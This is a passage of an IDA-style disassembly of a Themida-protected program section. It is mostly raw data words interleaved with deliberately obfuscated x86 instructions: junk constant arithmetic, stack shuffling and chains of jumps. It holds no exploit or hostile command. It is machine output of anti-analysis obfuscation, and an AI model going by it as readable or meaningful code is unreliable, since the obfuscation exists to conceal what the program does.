5BDE3166h, 61F4F681h, 0F00151DDh, 8124348Bh dd 4C4h, 24043300h, 0E9240431h, 0FFFFE8F1h, 54242C89h dd 6853525Dh, 92F660Dh, 0A5EB815Bh, 815E942Ah, 64C49CC3h dd 8B5A5355h, 0C481241Ch, 4, 505AD501h, 4BD55h, 81550000h dd 10B6242Ch, 5581A87h, 1A8710B6h, 0FFED4FE9h, 59C801FFh dd 8904EC83h, 5BE2434h, 0E942E73Ch, 69A8h, 592434FFh, 567FE952h dd 0BD550000h, 0A300D5Dh, 0A0EC581h, 0F7551357h, 815D2414h dd 0A832CCF5h, 0ED814D1Bh, 0F9D0DA53h, 55DE801h, 2, 31240433h dd 0EE92404h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5856F3: ; CODE XREF: Themida_:005858D4j shl ch, 3 jmp loc_5845C6 ; --------------------------------------------------------------------------- db 66h dd 5024048Bh, 405E089h, 0E9000000h, 0FFFFF93Dh, 66CD05ADh dd 0D82930ADh, 0F420E952h, 148BFFFFh, 0FD26E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585722: ; CODE XREF: Themida_:00588D2Aj add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], edx push eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- db 81h, 0EBh, 7Ah dd 1019811h, 0BD5552C3h, 830308Eh, 92F5C0BAh, 8BEA0106h dd 0C483242Ch, 0DDCA8104h, 0E9704311h, 1F2Fh, 2D59C809h dd 26FD4F15h, 0E958C501h, 0FFFFE548h, 24148B58h, 0E904C483h dd 6262h ; --------------------------------------------------------------------------- loc_58577C: ; CODE XREF: Themida_:0058661Aj mov [esp], esi push esp pop esi jmp loc_584C0C ; --------------------------------------------------------------------------- dw 0F001h dd 89E9505Eh, 55FFFFCDh, 7272E9h, 4B85000h, 1000000h, 58042444h dd 0E924148Bh, 7EB0h, 0F304C483h, 386203A5h, 0BD555357h dd 435416CFh, 7068E9h, 47F98700h, 0C181F987h, 1AC87E71h dd 4930E9h, 24348900h, 4732BA52h, 0F7925D3Ch, 0CBE992D0h dd 66FFFFCFh, 0A2C59h, 5A0A04D0h, 5C3E68h, 240C8900h, 0D7E9A1B5h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5857F7: ; CODE XREF: Themida_:00587D57j push 22B8h mov [esp], esi push 24F5h mov [esp], ebx sub dword ptr [esp], 56B24D25h pop esi add esi, 56B24D25h push esi jmp loc_582344 ; --------------------------------------------------------------------------- loc_58581B: ; CODE XREF: Themida_:0058B215j push dword ptr [esp+4] pop esi pop dword ptr [esp] sub esp, 4 mov [esp], esi not dword ptr [esp] mov esi, [esp] jmp loc_588A9E ; --------------------------------------------------------------------------- db 1 dd 0C3835EF3h, 241C8704h, 0E86CE95Ch, 2DBAFFFFh, 815A3625h dd 0E5FBFCAh, 81DAF729h, 0F27D4EC2h, 0A7EA8116h, 0C141491Ch dd 0F28103EAh, 44DC7CE9h, 0E95AD621h, 5F31h, 83243C8Bh dd 0EA8304C4h, 24148704h, 2404895Ch, 1829A3B8h, 4EC810Ch dd 0E9000000h, 0FFFFFA21h, 0B7EAE05h, 2DD8F73Ch, 0B14D98B7h dd 5E9AC581h, 0EDE90F93h, 89FFFFD4h, 596CE9E0h, 0DF290000h dd 8BF9895Bh, 0F6E9243Ch, 29000046h, 0D9AAE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5858C2: ; CODE XREF: Themida_:0058197Fj pop eax jmp loc_588352 ; --------------------------------------------------------------------------- loc_5858C8: ; CODE XREF: Themida_:00588E19j xor ch, al push dword ptr [esp] pop eax add esp, 4 jmp loc_5856F3 ; --------------------------------------------------------------------------- db '\h% ',0 dw 8900h dd 65E9242Ch, 52000016h, 0D388E288h, 208DE9h, 52555A00h dd 3E052E68h, 24148B2Ah, 4C481h, 0E2C10000h, 3EAC103h dd 0EA81D2F7h, 0F5C1FACDh, 148BD589h, 4C48124h, 1000000h dd 0FF575DEFh, 5F042474h, 0E924048Fh, 4E6Dh, 0E2C1D2F7h dd 5EF28106h, 29F05114h, 0FB295AD7h, 83243C8Bh, 0E95504C4h dd 0FFFFD0C9h, 59658FB8h, 25E9522Eh db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_585953: ; CODE XREF: Themida_:0058D160j sub ebx, ebp pop ebp sub eax, 2BE56FB5h sub eax, ebx add eax, 2BE56FB5h pop ebx push ecx mov ecx, 5388FFFEh xor eax, ecx pop ecx jmp loc_584857 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 0D21DE2EDh, 80C58118h, 50738266h, 851309B8h dd 0E9D8F772h, 51D9h, 3B11EF81h, 348B1609h, 3351E924h dd 4890000h, 711B824h, 0B951026Ch, 2A2206ECh, 4AF5F181h dd 0A9E90CF7h, 66FFFFFDh, 66CCB60Fh, 0E93EAB68h, 3161h ; --------------------------------------------------------------------------- loc_5859C4: ; CODE XREF: Themida_:005837C7j pop edi push dword ptr [esp] pop esi push ebp mov ebp, esp jmp loc_58A2B0 ; --------------------------------------------------------------------------- loc_5859D1: ; CODE XREF: Themida_:0058A42Fj add esp, 4 jmp loc_582B99 ; --------------------------------------------------------------------------- dd 0C105E6C1h, 0F75604EEh, 0EE92414h, 81000082h, 4ECh dd 241C8900h, 0FFEFF2E9h, 41B951FFh, 525BC731h, 0D11343BAh dd 0E9D2F76Ah, 0FFFFD72Dh, 5024148Bh, 405E089h, 83000000h dd 48704C0h, 0DA315C24h, 5AD0015Bh, 0C417D605h, 2DD80111h dd 11C417D6h, 2A31BE56h, 0F0294F82h, 1CE4E95Eh, 0FEBB0000h dd 550D3E7Eh, 5FA8E9h db 0 ; --------------------------------------------------------------------------- loc_585A49: ; CODE XREF: Themida_:00582C96j xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], edi push eax mov eax, 1 mov edi, eax push dword ptr [esp] pop eax jmp loc_58CA9D ; --------------------------------------------------------------------------- loc_585A66: ; CODE XREF: Themida_:00585C26j sub eax, ebx pop ebx push eax jmp loc_58BC93 ; --------------------------------------------------------------------------- db 0C1h dd 0EF8108E7h, 395A1CFCh, 540E9h, 0E9D6F600h, 8351h, 4C4835Ah dd 0FFD074E9h db 0FFh ; --------------------------------------------------------------------------- loc_585A8D: ; CODE XREF: Themida_:0058BD5Bj push ebp jmp loc_581F90 ; --------------------------------------------------------------------------- db 83h dd 48F04C4h, 3F7AE924h, 0EC830000h, 241C8904h, 5B42E9h dd 0BE1BE900h, 8966FFFFh, 0BA662414h, 29665D76h, 665A66D1h dd 6659C801h, 51241C8Bh, 0C181E189h, 4, 8702C183h, 0FCE9240Ch dd 81000066h, 7D781FC6h, 1DEE8151h, 1C18198h, 24348BF0h dd 0FFF4FCE9h, 243C89FFh, 8320E9h db 0 ; --------------------------------------------------------------------------- loc_585AF5: ; CODE XREF: Themida_:00582BB6j mov edi, 5CB06DCBh jmp loc_58DB7B ; --------------------------------------------------------------------------- db 5Bh dd 5202C283h, 42474FFh, 4F9FE9h, 24048B00h, 815D5455h dd 4C5h, 3E52E900h, 74BA0000h, 1549252h, 0E9295AD5h, 24048B5Dh dd 5704C483h, 0A104A4BFh, 0A0F78158h, 0E958A104h, 4CABh dd 8878B450h, 0CA8858E1h, 83240C8Bh, 9CE904C4h, 56000044h dd 12010EBEh, 2481E908h, 0C4830000h, 0BD63E904h, 875DFFFFh dd 248B2434h, 0BD57E924h, 8159FFFFh, 7562ACEAh, 0BD4BE937h dd 3C89FFFFh, 21106824h, 24890000h, 4BE5624h, 1000000h dd 5E042474h, 0E9243C8Bh, 0FFFFF432h, 2D64F381h, 0EB817CBEh dd 6B7D799Ah, 8E4CEB81h, 0D80126CBh, 56241C8Bh, 0C681E689h dd 4, 8704C683h, 0E95C2434h, 0FFFFBED6h, 48BE188h, 4C48124h dd 0E9000000h, 0FFFFC30Eh ; --------------------------------------------------------------------------- loc_585BD8: ; CODE XREF: Themida_:005899AAj add ecx, ebp pop ebp jmp loc_5897B0 ; --------------------------------------------------------------------------- loc_585BE0: ; CODE XREF: Themida_:0058CFB4j mov ecx, [esp] add esp, 4 and ecx, edi mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp shr ecx, 0Bh push eax mov eax, esp add eax, 4 push ebx mov ebx, 5DB85E93h and ebx, 583D7C2Fh neg ebx inc ebx sub ebx, 6E20C78h not ebx add ebx, 0A0E5978Bh jmp loc_585A66 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 0BB3E9h db 0 ; --------------------------------------------------------------------------- loc_585C39: ; CODE XREF: Themida_:00589B6Aj add al, 1Bh sub al, bl sub al, 1Bh push ebx mov bl, 0D2h jmp loc_58297A ; --------------------------------------------------------------------------- db 89h dd 0F463E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585C4E: ; CODE XREF: Themida_:0058237Bj sub ecx, ebx sub ecx, 55CB2221h pop ebx jmp loc_582E35 ; --------------------------------------------------------------------------- dd 4BBh, 5BDD0100h, 0E904C583h, 31DBh, 0F180C9FEh, 43DAE935h dd 0C1810000h, 4, 3BE0BA52h, 0DAF763BFh, 5605E2C1h, 188404BEh dd 0E9F23188h, 1668h ; --------------------------------------------------------------------------- loc_585C94: ; CODE XREF: Themida_:0058416Bj mov [esp], esi push ecx jmp loc_58B72C ; --------------------------------------------------------------------------- db 0ACh, 0E9h, 0Ah dd 81FFFFC4h, 3716E0F7h, 81C8E90Bh, 555E0000h, 0C14D1EBDh dd 35ED817Ah, 5553C118h, 0FFE91AE9h, 0BC03E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585CC6: ; CODE XREF: Themida_:00582980j push edx mov dh, 2Eh sub dh, 1Ah sub al, dh pop edx sub esp, 2 jmp loc_587B50 ; --------------------------------------------------------------------------- dw 815Dh dd 0B2667BEBh, 0E9C30136h, 58A6h, 0ACB68h, 5416E900h, 348B0000h dd 4C48324h, 0C681DEF7h, 485A248Ah, 0FFEBE3E9h, 0C8B66FFh dd 0E2895224h, 2DFEE9h, 4C48300h, 4EC81h, 52E90000h, 0ADFFFFBFh dd 14AD68h, 24148900h, 0F60DA4BAh, 6ABBE92Bh, 93BB0000h dd 81380541h, 631FAFC3h, 0E9D931EBh, 0FFFFC734h, 5C241C87h dd 8904EC83h, 8682414h, 8900000Ch, 0B652240Ch, 5AF188A9h dd 0F659CA88h, 3DC280D2h, 28EDB353h, 30E95BDAh, 41h, 5B4E2CD8h dd 4B5B151h, 0C2B551A3h, 808BC580h, 0CDFE1EF5h, 81C580h dd 0C80059E8h, 785E9h, 0E9F90100h, 4F00h, 0FF1C7721h, 34FF2434h dd 0D65E924h, 0E9500000h, 31C9h ; --------------------------------------------------------------------------- loc_585DAC: ; CODE XREF: Themida_:0058557Fj push ebp push edx mov edx, 5FF12E15h xor edx, 62153AC6h push ecx mov ecx, 3A642ED0h neg ecx shr ecx, 8 sub ecx, 0CAD47D9Bh jmp loc_58462D ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFBAF5h, 5E2434FFh, 0E904C483h, 0FFFFBAE9h, 396859h dd 34890000h, 4BE24h, 0B8500000h, 6A492EE8h, 158C129h dd 49BF57F1h, 0F71B1510h, 0CFB951DFh, 0E97AA1C0h, 0FFFFCCA4h dd 0C218E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585E12: ; CODE XREF: Themida_:00589CD9j and edi, 378A723Ah sub edi, 3F9520E7h xor edi, 54C25351h xor esi, edi pop edi add edx, esi jmp loc_588D24 ; --------------------------------------------------------------------------- dw 48Bh dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 81242C8Bh dd 4ECh, 240C8900h, 0C181E189h, 4, 8704C183h, 875C240Ch dd 14F753DDh, 0DD875B24h, 3883E9h, 24540100h, 56515704h dd 5145B268h, 0E8E95E32h, 8B000034h, 0E3E92414h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_585E87: ; CODE XREF: Themida_:00588D3Dj push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_589529 ; --------------------------------------------------------------------------- dw 0C483h dd 4C08304h, 5C240487h, 31242C33h, 2C33242Ch, 34FF5C24h dd 548AE924h, 0E95F0000h, 76B0h, 6624248Bh, 8124048Bh dd 4ECh, 2789E900h, 3C8B0000h, 4C48124h, 0E9000000h, 1C23h dd 5C24048Fh, 0E9240489h, 169h, 223091BEh, 5EF30905h, 5C33E9h db 0 ; --------------------------------------------------------------------------- loc_585EF9: ; CODE XREF: Themida_:00587B85j mov [esp], esi jmp loc_583AFD ; --------------------------------------------------------------------------- loc_585F01: ; CODE XREF: Themida_:00585622j mov [esp], eax jmp loc_58C5B4 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 615F1E75h, 75EF815Fh, 0E9615F1Eh, 0FFFFEFCFh, 6E0104BEh dd 20E95002h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585F27: ; CODE XREF: Themida_:00581ADFj pop edi jmp loc_5845B9 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 4C68300h, 31243433h, 34332434h, 0F10EE924h, 295AFFFFh dd 24148BD1h, 5304C483h, 7AB3BF57h, 0DFF70FC3h, 2757CF81h dd 0EFC16A7Fh, 6DF78103h, 47492314h, 8E8BEF81h, 5B57DD7Ch dd 8BD8015Fh, 0C481241Ch, 4, 0BF57C829h, 23FE79B1h, 0EF81474Fh dd 39CE142Eh, 12C78147h, 812A1E10h, 0BE246AF7h, 5FF8296Ch dd 2BC38159h, 0E976645Fh, 4960h, 1630E95Ah, 77FF0000h dd 59669D1Ch, 9C2414D2h, 0FFB90CE9h, 5FF989FFh, 8359CA01h dd 0FF5204C2h, 5A042474h, 0FFCD9DE9h, 8BB53FFh, 894D697Fh dd 64B9E9DEh, 0EC830000h, 24148904h, 0FFBF92E9h db 0FFh ; --------------------------------------------------------------------------- loc_585FE9: ; CODE XREF: Themida_:0058C5B7j mov ah, bh pop ebx mov bh, ah jmp loc_58C2B7 ; --------------------------------------------------------------------------- db 5Ah dd 5C240C87h, 4FDE68h, 24148900h, 0C1E9F289h, 2D000017h dd 0D28E1898h, 8158C501h, 0C826A6C5h, 0BF575E6Ah, 0 dd 4CBDEF81h, 0EF2964AEh, 4CBDC781h, 0FD8764AEh, 1EAE9h db 0 ; --------------------------------------------------------------------------- loc_586031: ; CODE XREF: Themida_:0058BE56j inc esi add esi, 0C3BCA9EAh add eax, esi mov esi, [esp] jmp loc_58DE61 ; --------------------------------------------------------------------------- dw 0E94Bh dd 0FFFFFB54h, 7D72E95Fh, 0F9010000h, 166FE9h, 0B86FE900h dd 0F188FFFFh, 0CA88525Ah, 595AD488h, 58E3885Bh, 0FFCC2EE9h dd 2474FFFFh, 48F5F04h, 2109E924h, 0E2890000h, 4C281h dd 0EA830000h, 24148704h, 2404895Ch, 344FC368h, 0C209582Ah dd 234BE9h, 59CA0100h, 12F6BF57h, 0D7F71B32h, 30CDE781h dd 0EF817A92h, 28B70DC2h, 0E95FFA31h, 7A6Ch, 8B2434FFh dd 0C483243Ch, 4C48104h, 8F000000h, 248B2404h, 14896624h dd 9C506624h, 0FFB7F0E9h, 17B551FFh, 0F6FFC580h, 0F6CDFED5h dd 8E5C0DDh, 28C7ED80h, 240C8BEBh, 24D5E9h, 0E9C58900h dd 79h, 9C240420h, 0FFB7C4E9h, 0C8B66FFh, 48366824h, 1C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_58BCBA ; --------------------------------------------------------------------------- dw 5650h dd 7A6C9768h, 0F6815E7Dh, 5D5A4447h, 355EF089h, 5D375415h dd 6EE9C689h, 5F000072h, 99BA525Bh, 0E927C844h, 168h ; --------------------------------------------------------------------------- loc_586150: ; CODE XREF: Themida_:0058C962j mov eax, 7796A3EAh mov edi, eax jmp loc_5862CB ; --------------------------------------------------------------------------- dd 8F23F005h, 2A10E90Eh, 0C870000h, 14895C24h, 5362B624h dd 0FFBEC0E9h, 246F89FFh, 0FFEB6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_58617D: ; CODE XREF: Themida_:00589F9Aj rol word ptr [esp], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4EC8100h, 0E9000000h, 0FFFFF806h, 0AA66AFBFh dd 3910E953h, 0EC810000h, 4, 89243489h, 0BF5751E6h, 25B455A2h dd 0FFE172E9h, 12BD55FFh, 1607206h, 242C8BEFh, 4C481h dd 0C7010000h, 612EF81h, 83E96072h, 0C1000004h, 0EBC108E3h dd 814B4B08h, 4D74BBCBh, 689EE947h, 34330000h, 24248B24h dd 24042966h, 0B6CFE99Ch, 5758FFFFh, 4EC81h, 21E90000h dd 0FFFFEAh, 0DBED80DDh, 3969E95Bh, 0C870000h, 8CE95C24h dd 5F00003Eh, 2FDEE9h db 0 ; --------------------------------------------------------------------------- loc_586221: ; CODE XREF: Themida_:005888B4j pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edx mov edx, 1 and eax, edx mov edx, [esp] add esp, 4 or edx, eax shl edx, 1 push edx jmp loc_582747 ; --------------------------------------------------------------------------- aFpsj db 'fPé¦',0 dd 2C8B0000h, 4C48124h, 83000000h, 80E904C0h, 0B8000034h dd 6DFC4ABAh, 0E9FFC083h, 0B24h, 8324048Bh, 40504C4h, 68000000h dd 3507h, 0FFCF92E9h, 0FD3B8FFh, 36356DDCh, 0C12CBA00h dd 6B0508E8h, 0E91BB001h, 5E3Dh, 2414F752h, 0E92404FFh dd 59BFh, 90E9E389h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5862CB: ; CODE XREF: Themida_:00586157j pop eax sub edi, ebx pop ebx xor [esp+4], edi mov edi, [esp] add esp, 4 jmp loc_58AE32 ; --------------------------------------------------------------------------- db 0BFh, 30h, 6 dd 0F7812187h, 65267E5Dh, 2498F781h, 0EF8153EAh, 23A9629Ah dd 0F8E9h, 240C8B00h, 4C481h, 0A9E90000h, 89FFFFE4h, 0E9542404h dd 0FFFFFF78h, 67E998B0h, 8B000045h, 89522424h, 4C281E2h dd 81000000h, 4C2h, 0EB08E900h, 0C483FFFFh, 3E43E904h dd 0EBC10000h, 9AC38108h, 21508CEFh, 0DCA3E9DAh, 4B2CFFFFh dd 5251D800h, 586804B2h, 8900002Ah, 3CB3241Ch, 0C0B1EB80h dd 0B9E902EBh, 8B00006Eh, 0D3662424h, 0E99C2424h, 0FFFFB555h ; --------------------------------------------------------------------------- loc_586374: ; CODE XREF: Themida_:00587DC5j mov edx, 33CA3485h and edx, 59D14F96h jmp loc_58893F ; --------------------------------------------------------------------------- dd 51C2015Fh, 0EB52E2B9h, 0A7B8506Bh, 0E92B3C63h, 173Eh dd 2474FF56h, 48F5E04h, 0C875C24h, 24248B24h, 0BF243C89h dd 2, 1739EE81h, 0FE014017h, 1739C681h, 3DE94017h, 66000027h dd 0E9240C8Bh, 0F17h, 52242489h, 6649BD55h, 4DBA34DCh dd 0E934DC66h, 1822h, 0C581E589h, 4, 1D38E9h, 241C8700h dd 31A4E9h, 0AEC78100h, 3162A730h, 0CD215FF9h, 2AE94D59h dd 0B7000031h, 8BF828DFh, 0C483241Ch, 0E9692C04h, 0FFFFF0AFh dd 5BDE295Ah, 2AE9F201h, 4FFFFD2h, 4D0F65Fh, 74C9E925h dd 53660000h, 0CDE9D388h, 0BAFFFFC3h, 2, 749C181h, 0AFE96FCEh dd 0AC00000Bh, 61E468h, 24148900h, 0DEF667B6h, 6CB75350h dd 0CF80D7F6h, 31F780F1h, 665BFC88h, 1199E953h, 0B9510000h dd 130651D0h, 0C3E9CA31h, 5B00000Ah, 34FFEE30h, 0C4815924h dd 4, 0FFBCCFE9h, 59CA29FFh, 6FD4E951h, 0E2890000h, 0C7A0E955h dd 0EE81FFFFh, 60306A57h, 8DE9EE01h, 0E9FFFFE1h, 0FFFFB41Dh dd 0D6E95557h, 0BFFFFFC9h, 4, 4247C01h, 0E1E95E5Fh, 5BFFFFC1h dd 0FFEC60E9h, 243489FFh, 42474FFh, 0FFDB97E9h, 88DC88FFh dd 1C8B58E1h, 4C48124h, 50000000h, 0E788CC88h, 5224048Bh dd 0C281E289h, 4, 8704C283h, 0E95C2414h, 239Bh, 0F724248Bh dd 0E28952F1h, 0C20AE956h, 48BFFFFh, 5589E924h, 0D32C0000h dd 0AE9A32Ch, 0ADFFFFCCh, 2335C681h, 0C6016493h, 4EC81h dd 3C890000h, 17CBE924h, 0C6810000h, 22E06188h, 8BE9565Ah dd 29000035h, 26E981D9h, 8104B807h, 6D5C98C1h, 0F9E95B57h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_586557: ; CODE XREF: Themida_:0058BCB5j sub edx, 69585D81h add edx, eax add edx, 69585D81h pop eax add edx, 4 xchg edx, [esp] pop esp push 2DBDh mov [esp], edx push ecx mov ecx, 50D71EFDh mov edx, 1B6B034Fh add edx, ecx jmp loc_589DD0 ; --------------------------------------------------------------------------- db 5Ch dd 4AB0F66h, 0D2E99C24h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_586593: ; CODE XREF: Themida_:005820EBj jmp loc_5818C9 ; --------------------------------------------------------------------------- dd 295BDE89h, 24348BF3h, 6604C483h, 38E9008Fh, 5200002Fh dd 42474FFh, 24048F5Ah, 2434FF5Ch, 582434FFh, 4C481h, 0E9530000h dd 4583h, 2474FF56h, 24348B04h, 0E904C483h, 3895h, 5C241C87h dd 5D71E9h db 0 ; --------------------------------------------------------------------------- loc_5865E1: ; CODE XREF: Themida_:0058673Bj sub ecx, 5AF5740Eh sub ecx, 3FD22A1h sub ecx, 6927B0Fh add ecx, edx add ecx, 6927B0Fh add ecx, 3FD22A1h add ecx, 5AF5740Eh pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] loc_586614: ; CODE XREF: Themida_:loc_58669Dj sub esp, 4 jmp loc_58577C ; --------------------------------------------------------------------------- aLSxi db '‹$$é•I',0 dw 0B500h dd 0E92BE90Eh, 0EC81FFFFh, 4, 41A8E9h, 4EC8100h, 89000000h dd 5EBD242Ch, 292A1805h, 0C2815DEAh, 14D1294Dh, 148BD301h dd 66EEE924h, 48B0000h, 6A9FE924h, 0C6830000h, 24348704h dd 24048F5Ch, 0AB0F665Ch, 0E99C2404h, 1232h, 0E904EC83h dd 53E1h, 75C4E95Dh, 0CB90000h, 31692E30h, 24148BD1h, 4C481h dd 0D1310000h, 2BE8E9h db 0 ; --------------------------------------------------------------------------- loc_58669D: ; CODE XREF: Themida_:0058B333j jmp loc_586614 ; --------------------------------------------------------------------------- loc_5866A2: ; CODE XREF: Themida_:0058B69Cj mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 jmp loc_58DAA1 ; --------------------------------------------------------------------------- dw 5351h dd 0FFB94FE9h, 8BD801FFh, 0C481241Ch, 4, 1FE3BE56h, 74011D6Dh dd 815E0424h, 4042404h, 77E9484Ch, 5900000Ch, 8244481h dd 4E791D99h, 8247C29h, 8246C81h, 4E791D99h, 0EF03E95Fh dd 0DD31FFFFh, 83241C8Bh, 0F58104C4h, 90C4A2AFh, 38E9EB89h dd 49000008h, 0FBCFE957h, 8C68FFFFh, 89000022h, 4AE92424h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58671F: ; CODE XREF: Themida_:00581F42j push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 push edx mov edx, 35E860FFh push ecx mov ecx, 35E860FBh xor edx, ecx pop ecx jmp loc_5865E1 ; --------------------------------------------------------------------------- dd 4230FF68h, 2CE95F08h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58674B: ; CODE XREF: Themida_:0058869Cj add esp, 4 add esi, 4 push ebx mov ebx, 2 sub esi, 22CF7A09h jmp loc_5876DE ; --------------------------------------------------------------------------- loc_586768: ; CODE XREF: Themida_:00587759j mov edx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_58BB76 ; --------------------------------------------------------------------------- loc_586779: ; CODE XREF: Themida_:0058A557j pop eax sub ebp, edx pop edx xor ebp, 35FE410Bh shr ebp, 3 xor ebp, 586308D5h sub edi, ebp pop ebp xor [esp+4], edi jmp loc_58B5E2 ; --------------------------------------------------------------------------- dd 6824248Bh, 6217h, 6BEAE9h, 89515900h, 4C181E1h, 68000000h dd 1E6Fh, 0BA241489h, 4, 30E9D101h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5867C3: ; CODE XREF: Themida_:0058733Aj push 0AE1h mov [esp], ebx push edi mov edi, 76D60365h mov ebx, edi pop edi shr ebx, 4 sub esp, 4 mov [esp], edx mov edx, 7656036h xor ebx, edx pop edx push ebx pop esi jmp loc_581A0B ; --------------------------------------------------------------------------- dd 0E42BBC2Dh, 3AA80509h, 0E82924BCh, 0BC3AA82Dh, 2BBC0524h dd 91E909E4h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_586807: ; CODE XREF: Themida_:005848A4j xor dword ptr [esp], 6677532Bh mov edx, [esp] add esp, 4 push esi jmp loc_5833ED ; --------------------------------------------------------------------------- aRVsr db 'R¶¢éR!',0 dd 59CF8800h, 80C7FE5Ah, 0E95267CFh, 5455h, 815FFB29h dd 4ECh, 241C8900h, 42474FFh, 5B2434FFh, 3A04E955h, 59660000h dd 3058E630h, 800E9F0h, 6AE90000h, 54FFFFB0h, 4C6815Eh dd 0E9000000h, 56D3h, 0EB803EB2h, 66D32849h, 49B450h, 5A5866E3h dd 0F95EB80h, 34FFC0B6h, 2434FF87h, 4659E9h, 0FF505E00h dd 8B042474h, 0C4812404h, 4, 8B24048Fh, 66642424h, 1EE90289h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5868AB: ; CODE XREF: Themida_:0058B3E5j mov [esp], ebp push dword ptr [esp] pop eax jmp loc_584B6C ; --------------------------------------------------------------------------- db 1 dd 0A4E95FFEh, 8100002Bh, 0AF3FB0E9h, 59CB0175h, 6874E957h dd 0FA280000h, 0E9D3005Bh, 6001h, 0E94077FFh, 41DDh, 12019005h dd 8BC20100h, 0C4832404h, 4685304h, 5B000000h, 7D12EA81h dd 72E92F18h, 81000000h, 2ECh, 1C896600h, 2CC6B324h, 4D82846h dd 1C8B6646h, 2C48324h, 0D800F804h, 82E9F82Ch, 81000038h dd 4C4h, 0E9860400h, 0FFFFCDE4h, 0BA52E589h, 4, 835AD501h dd 2C8704C5h, 0CF67E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_586946: ; CODE XREF: Themida_:005881ACj push ebp jmp loc_588461 ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 0AE90000h, 68000015h, 399Eh, 52240C89h dd 5AB8F5BAh, 5AD1898Eh, 748FE9h, 81DA0100h, 187D12C2h dd 241C8B2Fh, 4C481h, 14330000h, 24143124h, 0FFD5D6E9h dd 7C6856FFh, 5E51040Ah, 6BAFBF57h, 814F5DCEh, 804A1F7h dd 9DE78169h, 814AB768h, 83638DE7h, 6E7C14Bh, 73AC781h dd 0FE29306Ch, 0FFF0895Fh, 0D8E92434h, 6600000Ah, 57240C8Bh dd 0E956E789h, 0FFFFE3CFh, 642CB204h, 237568h, 24148900h dd 3B04E9h, 4C78100h, 0E9000000h, 3958h, 50241489h, 0FE64E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5869F6: ; CODE XREF: Themida_:0058B6E1j and ebx, esi push dword ptr [esp] pop esi add esp, 4 or ebx, ebx jnz loc_584DE4 push 18B6h mov [esp], esi jmp loc_58AF0C ; --------------------------------------------------------------------------- db 52h dd 5C728FBAh, 5AD10148h, 0B850h, 0C8290000h, 4E3DE9h, 0EE815D00h dd 6FB30E80h, 0CC25E95Ah, 0C383FFFFh, 241C3304h, 33241C31h dd 815C241Ch, 4C7h, 0FF8FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_586A52: ; CODE XREF: Themida_:005829FCj add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_584532 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0EF66E95Eh, 0C481FFFFh, 4, 241C8B66h, 2C481h, 24E90000h dd 0AD000041h, 5652D831h, 5908DABEh, 81DEF70Fh, 0D71C4CE6h dd 0D0E8E935h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_586AA2: ; CODE XREF: Themida_:0058BD6Dj push 741A03C4h pop ecx push ebx mov ebx, 4A863C0Ch push ebx mov ebx, 0E3500C9h sub ecx, ebx pop ebx add ecx, 1F5249B8h sub ecx, 24EC7D57h sub ecx, ebx add ecx, 24EC7D57h sub ecx, 1F5249B8h push esi mov esi, 51B77CA2h shl esi, 1 or esi, 246456E5h sub esi, 9939FF1Ch add ecx, esi pop esi jmp loc_584DF4 ; --------------------------------------------------------------------------- db 51h, 0B9h, 1Fh dd 0E9351400h, 0FFFFC734h, 4BC768h, 4682E900h, 8B660000h dd 67E92424h, 8B000032h, 0C4832434h, 4C48304h, 0E9E38953h dd 1D0Bh, 0EA81DA01h, 7A0B4291h, 0FFEFD6E9h, 3CC705FFh dd 0AF05793Bh, 55F9E70h, 283B602Dh, 2D2DF029h, 52283B60h dd 9E70AFBAh, 0E9D0295Fh, 1997h, 0A9E9D701h, 1FFFFB2h dd 0A3E95DEAh db 